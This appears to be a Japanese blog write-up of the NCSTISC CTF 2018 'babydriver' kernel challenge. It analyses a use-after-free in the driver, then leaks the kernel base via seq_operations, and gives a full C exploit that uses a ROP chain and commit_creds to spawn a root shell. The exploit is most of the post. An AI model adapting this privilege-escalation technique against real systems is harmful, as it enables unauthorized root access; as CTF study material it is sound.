イントロ Link to this heading

kernel 強化月間なのでいい感じの問題集を探していたところhama さんのブログ によさげなのがあったため解いていく。第 1 問目はNCSTISC CTF 2018babydriver。 ブログよく見てみたらhama リストには 2019 年版 もありました。解いていきたいですね

static analysis Link to this heading

basics Link to this heading

static.sh
 1$ modinfo ./babydriver.ko
 2filename:       /home/wataru/Documents/ctf/ncstisc2018/babydriver/work/./babydriver.ko
 3description:    Driver module for begineer
 4license:        GPL
 5srcversion:     BF97BBB242B36676F9A574E
 6depends:
 7vermagic:       4.4.72 SMP mod_unload modversions
 8
 9/ $ cat /proc/version
10Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP T7
11
12  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
13  -smp cores=1,threads=1 \
14  -cpu kvm64,+smep \

SMEP 有効・SMAP 無効・oops->panic・KASLR 有効

cdev Link to this heading

cdev.sh
 1(gdb) p *(struct cdev*)0xffffffffc0002460
 2$1 = {
 3  kobj = {
 4    name = 0x0,
 5    entry = {
 6      next = 0xffffffffc0002468,
 7      prev = 0xffffffffc0002468
 8    },
 9    parent = 0x0,
10    kset = 0x0,
11    ktype = 0xffffffff81e779c0,
12    sd = 0x0,
13    kref = {
14      refcount = {
15        refs = {
16          counter = 1
17        }
18      }
19    },
20    state_initialized = 1,
21    state_in_sysfs = 0,
22    state_add_uevent_sent = 0,
23    state_remove_uevent_sent = 0,
24    uevent_suppress = 0
25  },
26  owner = 0xffffffffc0002100,
27  ops = 0xffffffffc0002000,
28  list = {
29    next = 0xffffffffc00024b0,
30    prev = 0xffffffffc00024b0
31  },
32  dev = 260046848,
33  count = 1
34}
35(gdb) p *((struct cdev*)0xffffffffc0002460).ops
36$3 = {
37  owner = 0xffffffffc0002100,
38  llseek = 0x0,
39  read = 0xffffffffc0000130,
40  write = 0xffffffffc00000f0,
41  read_iter = 0x0,
42  write_iter = 0x0,
43  iopoll = 0x0,
44  iterate = 0x0,
45  iterate_shared = 0xffffffffc0000080,
46  poll = 0x0,
47  unlocked_ioctl = 0x0,
48  compat_ioctl = 0xffffffffc0000030,
49  mmap = 0x0,
50  mmap_supported_flags = 18446744072635809792,
51  (snipped...)
52↑ 結構オフセット違うからダメだわ
53}

実装されているfopsは、open/read/write/ioctlの 4 つ。

fops Link to this heading

fops.c
 1open:
 2    babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc-64)
 3    babydev_struct.buf_len = 0x40
 4write:
 5    if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
 6        _copy_from_user(baby_dev_struct.device_buf, arg_size)
 7read:
 8        if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
 9        _copy_to_user(baby_dev_struct.device_buf, arg_size)
10ioctl:
11    if cmd == 0x10001 then
12        kfree(babydev_struct.device_buf)
13        babydev_struct.device_buf = kmem_cache_alloc_trace(size)
14        babydev_struct.buf_len = 0x40

ioctlで任意の大きさにbufを取り直せる。

vuln Link to this heading

babyrelease()時にbabydev_struct.device_bufkfree()するのだが、参照カウンタ等による制御を行っていない。そのため複数open()しておいてどれか一つでclose()すると簡単にUAFが実現できる。しかも、free されているオブジェクトを再 alloc するまでもなく保有できる。 え、もうこの時点で解けたことにしていいかな。。。いや、何か新しい気付きがあるかも知れないから一応やってみよ。

kernbase leak Link to this heading

/proc/self/statread()してseq_operationsからleak。それだけ。

get RIP Link to this heading

さっき使ったseq_operationsを使いまわしてそのまま RIP を取れる。SMEP 有効だから ROP chain して終わり。まじで、ROP chain の gadget 調べる時間のほうがこの問題解くよりも 1.5 倍くらい多い気がする。

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29
 30
 31// commands
 32#define DEV_PATH "/dev/babydev"   // the path the device is placed
 33
 34// constants
 35#define PAGE 0x1000
 36#define FAULT_ADDR 0xdead0000
 37#define FAULT_OFFSET PAGE
 38#define MMAP_SIZE 4*PAGE
 39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 40// (END constants)
 41
 42// globals
 43// (END globals)
 44
 45
 46// utils
 47#define WAIT getc(stdin);
 48#define ulong unsigned long
 49#define scu static const unsigned long
 50#define NULL (void*)0
 51#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 52                        } while (0)
 53#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 54                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 55ulong user_cs,user_ss,user_sp,user_rflags;
 56struct pt_regs {
 57	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 58	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 59	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 60	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 61  ulong sp; ulong ss;
 62};
 63void print_regs(struct pt_regs *regs)
 64{
 65  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 66  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 67  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 68  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 69  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 70}
 71void NIRUGIRI(void)
 72{
 73  char *argv[] = {"/bin/sh",NULL};
 74  char *envp[] = {NULL};
 75  execve("/bin/sh",argv,envp);
 76}
 77// should compile with -masm=intel
 78static void save_state(void) {
 79  asm(
 80      "movq %0, %%cs\n"
 81      "movq %1, %%ss\n"
 82      "movq %2, %%rsp\n"
 83      "pushfq\n"
 84      "popq %3\n"
 85      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 86}
 87
 88static void shellcode(void){
 89  asm(
 90    "xor rdi, rdi\n"
 91    "mov rbx, QWORD PTR [rsp+0x50]\n"
 92    "sub rbx, 0x244566\n"
 93    "mov rcx, rbx\n"
 94    "call rcx\n"
 95    "mov rdi, rax\n"
 96    "sub rbx, 0x470\n"
 97    "call rbx\n"
 98    "add rsp, 0x20\n"
 99    "pop rbx\n"
100    "pop r12\n"
101    "pop r13\n"
102    "pop r14\n"
103    "pop r15\n"
104    "pop rbp\n"
105    "ret\n"
106  );
107}
108// (END utils)
109
110/******* babydev ****************/
111#define INF 1<<31
112size_t current_size = INF;
113
114int _open(){
115  int _fd = open(DEV_PATH, O_RDWR);
116  assert(_fd > 0);
117  current_size = 0x40;
118  return _fd;
119}
120
121void _write(int fd, char *buf, size_t size){
122  assert(size < current_size);
123  assert(write(fd, buf, size) >= 0);
124}
125
126void _realloc(int fd, size_t size){
127  assert(ioctl(fd, 0x10001, size) == 0);
128  current_size = size;
129}
130
131void _close(int fd){
132  assert(close(fd) >= 0);
133}
134
135void _read(int fd, char *buf, size_t size){
136  assert(size < current_size);
137  assert(read(fd, buf, size) > 0);
138}
139/******* (END babydev) *************/
140
141/*** gadgets ***/
142/*
1430xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret  ;  (1 found)
1440xffffffff81018062: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
1450xffffffff810a1810 T prepare_kernel_cred
1460xffffffff810a1420 T commit_creds
1470xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret  ;  (32 found)
1480xffffffff8181a797:       48 cf                   iretq
1490xffffffff8100700c: pop rcx ; ret  ;  (25 found)
150
1510xffffffff81063694:       0f 01 f8                swapgs
1520xffffffff81063697:       5d                      pop    rbp
1530xffffffff81063698:       c3                      ret
154
155*/
156
157void gen_chain(ulong *a, const ulong kernbase)
158{
159  scu pop_rdi =             0x3e7d9d;
160  scu prepare_kernel_cred = 0x0a1810;
161  scu rax2rdi_rep_pop_rbp = 0x018062;
162  scu pop_rcx =             0x00700c;
163  scu commit_creds =        0x0a1420;
164  scu swapgs_pop_rbp =      0x063694;
165  scu iretq =               0x81a797;
166
167  save_state();
168
169  *a++ = pop_rdi + kernbase;
170  *a++ = 0;
171  *a++ = prepare_kernel_cred + kernbase;
172  *a++ = pop_rcx + kernbase;
173  *a++ = 0;
174  *a++ = rax2rdi_rep_pop_rbp + kernbase;
175  *a++ = 0;
176  *a++ = commit_creds + kernbase;
177
178  *a++ = swapgs_pop_rbp + kernbase;
179  *a++ = 0;
180  *a++ = iretq + kernbase;
181  *a++ = &NIRUGIRI;
182  *a++ = user_cs;
183  *a++ = user_rflags;
184  *a++ = user_sp;
185  *a++ = user_ss;
186
187  *a++ = 0xdeadbeef; // unreachable
188}
189
190/************ MAIN ****************/
191
192int main(int argc, char *argv[]) {
193  char buf[0x2000];
194  int fd[0x10];
195  int statfd;
196
197  // UAF
198  fd[0] = _open();
199  fd[1] = _open();
200  _realloc(fd[0], 0x20);
201  _close(fd[0]);
202
203  // leak kernbase
204  statfd = open("/proc/self/stat", O_RDONLY);
205  assert(statfd > 0);
206  _read(fd[1], buf, 0x10);
207  const ulong single_start = ((ulong*)buf)[0];
208  const ulong kernbase = single_start - 0x22f4d0UL;
209  printf("[!] single_start: %lx\n", single_start);
210  printf("[!] kernbase: %lx\n", kernbase);
211
212  // prepare chain and get RIP
213  const ulong gadstack = 0x5DFFFA88;
214  const char *maddr = mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
215  const ulong **chain = maddr + (gadstack & 0xFFF);
216  gen_chain(chain, kernbase);
217
218  ((ulong*)buf)[0] = kernbase + 0x0eefd0;
219  _write(fd[1], buf, 0x8);
220
221  // NIRUGIRI
222  read(statfd, buf, 1);
223
224  return 0;
225}

アウトロ Link to this heading

新しい気づきは、ありませんでした。

もうすぐ 3.11 から 10 年ですね。あの時から精神的にも知能的にも技術的にも何一つ成長できている気がしませんが、小学生の自分には笑われないようにしたいですね。

あと柴犬飼いたいですね。

symbols without KASLR Link to this heading

symbols.txt
1cdev: 0xffffffffc0002460
2fops: 0xffffffffc0002000
3kmem_cache_alloc_trace: 0xffffffff811ea180
4babyopen: 0xffffffffc0000030
5babyioctl: 0xffffffffc0000080
6babywrite: 0xffffffffc00000f0
7kmalloc-64: 0xffff880002801b00
8kmalloc-64's cpu_slub: 0x19e80
9babydev_struct: 0xffffffffc00024d0

参考 Link to this heading